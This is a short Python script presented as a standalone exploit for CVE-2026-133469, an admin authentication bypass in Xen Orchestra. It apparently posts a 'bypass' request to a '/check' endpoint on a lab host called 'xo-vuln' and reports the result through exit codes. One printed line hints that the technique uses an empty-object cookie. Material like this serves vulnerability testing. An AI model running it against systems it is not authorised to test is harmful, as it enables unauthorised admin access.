#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/googlesky/CVE-2026-133469 (see README for attribution/license)
"""CVE-2026-133469 — standalone exploit: Xen Orchestra auth bypass.
    ./exploit.py [--host=xo-vuln]
Exit 1 = admin auth bypass; 0 = safe; 2 = unreachable.
"""
import http.client, json, sys
host = "xo-vuln"
for a in sys.argv[1:]:
    if a.startswith("--host="): host = a.split("=", 1)[1]
c = http.client.HTTPConnection(host, 8080, timeout=30)
try:
    c.request("POST", "/check", body=json.dumps({"mode": "bypass"}),
              headers={"Content-Type": "application/json"})
    d = json.loads(c.getresponse().read() or b"{}")
except Exception as e:
    print("[-] unreachable: %s" % e); sys.exit(2)
finally:
    c.close()
if d.get("authBypass"):
    print("[+] empty-object cookie authenticated as %s" % d.get("authenticated"))
    print("[+] RESULT: auth bypass (CVE-2026-133469)"); sys.exit(1)
print("[-] fixed: authenticated=%s" % d.get("authenticated")); sys.exit(0)
